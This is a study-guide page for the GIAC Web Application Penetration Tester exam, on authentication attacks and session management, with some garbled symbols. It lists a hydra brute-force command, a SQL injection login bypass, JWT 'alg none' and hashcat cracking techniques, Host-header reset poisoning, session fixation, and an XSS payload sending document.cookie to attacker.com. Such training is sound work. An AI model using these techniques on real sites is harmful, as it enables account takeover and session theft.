GIAC Web Application Penetration Tester β Username enumeration, brute force, credential stuffing, JWT attacks, session fixation, hijacking, cookie security & SSL/TLS session vulnerabilities.
| # | Objective | This Page |
|---|---|---|
| 1 | Web Application Overview | β |
| 2 | Reconnaissance and Mapping | β |
| 3 | Web Application Configuration Testing | β |
| β 4 | Web Application Authentication Attacks | β |
| β 5 | Web Application Session Management | β |
| 6 | Web Application SQL Injection Attacks | β |
| 7 | Cross-Site Request Forgery, XSS & Client Injection Attacks | β |
| 8 | Web Application Testing Tools | β |
Authorization: Basic dXNlcjpwYXNzAuthorization: Bearer <token> header β statelesshydra -l admin -P rockyou.txt http-post-form "//login:user=^USER^&pass=^PASS^:Invalid"admin'-- in username bypasses password check entirely β comments out the password conditionrole=user to role=admin, or id=123 to id=456 β broken object-level access control{"authenticated": false} β intercept in Burp Proxy, change to true before forwardingHost: header in reset request β reset email contains attacker's domain URL β capture the token
Host: attacker.com β email contains http://attacker.com/reset?token=abcheader.payload.signature β three Base64url-encoded segments separated by dots
{"alg": "HS256", "typ": "JWT"}{"sub": "user123", "role": "user", "exp": 1234567890}"alg": "HS256" to "alg": "none", remove signature entirely β server accepts if not validating algorithmhashcat -a 0 -m 16500 token.jwt rockyou.txt β crack weak HMAC signing secret"role": "user" β "role": "admin", re-encode β exploitable when signature is not verified server-sideSet-Cookie header in the authentication responsedocument.cookie) from reading the cookie β mitigates XSS-based session theft; cookie still sent in HTTP requests normally.example.com (leading dot) includes all subdomains β dangerous if any subdomain is compromised?PHPSESSID=attacker_value), cookie injection via XSS or subdomain control, meta refreshsession_regenerate_id(true); destroy old session<script>document.location='http://attacker.com/steal?c='+document.cookie</script> β only works if HttpOnly NOT set on session cookieSix high-density memory hooks for exam day retention
alg from HS256 to none in the header. Remove the signature (keep the trailing dot or remove entirely). If server doesn't validate algorithm, it accepts the unsigned token.Host: attacker.com. Victim's reset email contains a link pointing to attacker's domain. Attacker captures the reset token.10 vignette-style scenario questions β select your answer to reveal the explanation
Click any card to flip β front shows the concept, back shows the detail
Click a category to expand β prioritize areas you're least confident in
Official references and tools for GWAPT Objectives 4 & 5